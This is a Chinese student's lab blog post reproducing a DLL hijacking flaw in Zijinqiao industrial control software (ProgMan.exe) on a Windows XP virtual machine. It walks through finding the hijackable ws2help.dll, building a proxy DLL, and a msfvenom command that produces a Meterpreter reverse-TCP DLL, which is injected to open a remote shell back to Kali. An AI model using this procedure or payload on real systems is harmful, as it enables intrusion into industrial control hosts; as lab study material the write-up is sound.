工控軟體DLL劫持漏洞復現
本文首發於我的個人部落格,記錄了我在實驗室學習滲透測試所做的第一個漏洞復現,希望能對您有所幫助!
如果文章有錯,請前往我的個人部落格核對,或者在評論區留言告知,謝謝
緊張刺激前所未有突如其來慘絕人寰的線上期末考試結束了,我也要開始做實驗室的工作了,這學期因為學姐在準備畢業,我也划水了好久,中間只做過一些小任務,那麼這個暑假就要把該還的帳還清了(突然淚目)。
我在期末考試前和博士聯絡過了,說自己想要學習滲透測試方面的內容,那麼第一個任務就是復現DLL劫持。謹以此博,紀念我考後生還(劃掉)的第一個小任務。
啊啊啊啊正在做的時候那個新帶我的學長跟我說他也試了下,沒實現…沒事,我儘管做我自己的。
基本概念
- DLL:動態連結庫。是Windows作業系統中實現二進位制級共享函式庫的程式設計和執行環境。
- Windows平臺可執行檔案執行過程:Windows平臺上當一個可執行檔案執行時,載入器將可執行檔案對映到程序的地址空間中,載入器分析檔案的輸入表,查找出需要的DLL,並逐個將它們對映到程序的地址空間中,最後初始化並開始執行,在執行過程中會呼叫載入到記憶體中的DLL所包含的功能函式。
- DLL劫持:由於可執行檔案的輸入表只提供了DLL的名稱,沒有其他詳細資訊,當查詢的過程中發生了冒名頂替時間,就發生了劫持。黑客可以偽造介面相同功能不同的同名DLL,放在可執行檔案執行優先查詢的路徑上,就能冒名頂替使黑客目標功能的DLL被載入到記憶體並被呼叫執行。
復現步驟
1. 安裝Kali Linux虛擬機器
Kali用得好,牢飯吃到飽...啊不是,工具無罪。
Kali之前安裝過,還在上面配置了Mulval(攻擊圖專案的第一個任務),所以這次也是輕車熟路,除了中間“選擇安裝軟體”可能是因為網路問題吧,失敗了兩次。
如何在VMWare上安裝Kali Linux 2020.2版本的虛擬機器詳見該文。
2. 安裝Windows XP SP3靶機
本來我想用我家那臺十年前的機器(前段時間升級了下記憶體和硬碟,還能用),但又怕搞壞了不好交代,所以還是老老實實下虛擬機器吧。
這個在官網沒找到資源,就隨便在其他地方找了個資源,安全性無法保證,湊活著用吧。
具體安裝過程...傻瓜式操作應該不需要教程吧?
介面提示我大概要二三十分鐘,實際過程沒那麼長,一局遊戲都沒打完呢...
3. 在XP上安裝需要的軟體
首先是紫金橋監控組態軟體 V6.5。我在xp上打不開這個網站,所以就在win10下下載後利用vmtools(xp系統搭建好後自動下載了vmtools,挺省心的)將該軟體複製了過來。
另外也要安裝Process Explorer。
4. 尋找可劫持程序ProgMan.exe的DLL
開啟程序ProgMan.exe(即紫金橋監控組態軟體,在安裝目錄下可以找到該執行檔案),開啟procexp。其實兩者無關先後。在procexp下可以看到ProgMan.exe程序,然後按照我的選項配置,可以看到下面的視窗。
與登錄檔相對比:
這說明我們的ws2help.dll滿足dll劫持的要求。
5. 生成原始碼CPP檔案和dll檔案
首先要配置Python2.7環境,這個不必多說。安裝好後,pip下載所需要的包pefile,這個包沒多大,沒必要再換源了。下載好後,在Github上下載我們需要的一個DLL_Hijacker.py檔案,然後cd到該檔案所在位置,在命令列中執行:
DLL_Hijacker.py c:\WINDOWS\system32\ws2help.dll
結果如下:
同時,在該目錄下,ws2help.cpp檔案也已經生成了。
然後將ws2help.cpp編譯為ws2help.dll。這一步需要用到VC++6.0,推薦直接在靶機中安裝(Win10不太相容)。具體步驟如下:
-
在VC++ 6.0中新建一個Win32 Dynamic-Link Library工程,名稱任意。
-
建立一個簡單的DLL工程
-
將ws2help.cpp中的程式碼複製到該工程Source File資料夾下的XXX.cpp(XXX為工程名)檔案中,注意加上如圖所示的標頭檔案。
-
如果剛開始就直接編譯ws2help.cpp,會報錯,解決方法是先編譯同目錄下的StdAfx.cpp檔案,沒有錯誤後再編譯ws2help.cpp。編譯方法為“組建-->編譯xxx.cpp”。
-
編譯無誤後,點選“組建-->組建xxx.dll”,正確完成後,可以在工程目錄下的Debug資料夾下找到生成的dll檔案。
之後,將該dll檔案放入與progman.exe同一目錄下,再次開啟ProgMan.exe,會有彈窗提示。
6. 利用msf基於dll劫持實現許可權提升
進入kali,檢查msfvenom是否正常(在命令列中輸入msfvenom
)。若正常,則在命令列鍵入:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<本機IP> LPORT=1234 -f dll >/root/ws2help.dll
之後,會在root下生成我們需要的ws2help.dll檔案,將該檔案拷貝到靶機(XP)下。這一步可能會比較麻煩,可以將該檔案放入壓縮包內,再進行復制貼上。
在Kali命令列中輸入msfconsole
開啟msf,利用msf中的handler模組開啟監聽:
在靶機中開啟程序ProgMan.exe,利用Dllinject.exe,將ws2help.dll注入到程序。這裡好像對ws2help.dll和Dllinject.exe的位置也有要求,最開始我把它們倆同時放在ProgMan.exe所在目錄下,但Dllinject.exe無法正常執行。之後我把ws2help.dll放在桌面,Dllinject.exe放在其他目錄下,可以正常運行了。
找到ProgMan程序,點選注入,注入時要選擇ws2help.dll所在位置,其他不用填。回到Kali,發現已經提權成功了。
實驗結束。
後記
本實驗對於剛剛接觸滲透測試的我來說,說難也不難,但也確實花了很長時間,主要就是在編譯cpp檔案為dll時出了問題。我一直在嘗試在命令列介面直接通過g++命令來進行編譯,但結果總是錯誤的。最終,在王博士的提示下,我用了VC++6.0來進行編譯。一開始也出了問題,因為VC++6.0版本過於古老,和Win10不相容,無論我怎麼編譯,都會報錯。在網上查到了解決方法,但一一嘗試後,都沒有用。最後只得下載了Win7虛擬機器,別問我為什麼不直接在Win XP下下載,因為我一開始以為XP也不相容...嘛,反正都解決啦,不管那麼多啦!
這只是滲透測試之路的起點,就遇到了難啃的硬骨頭,以後會遇到多少麻煩可想而知,但我相信自己可以堅持學下去,加油!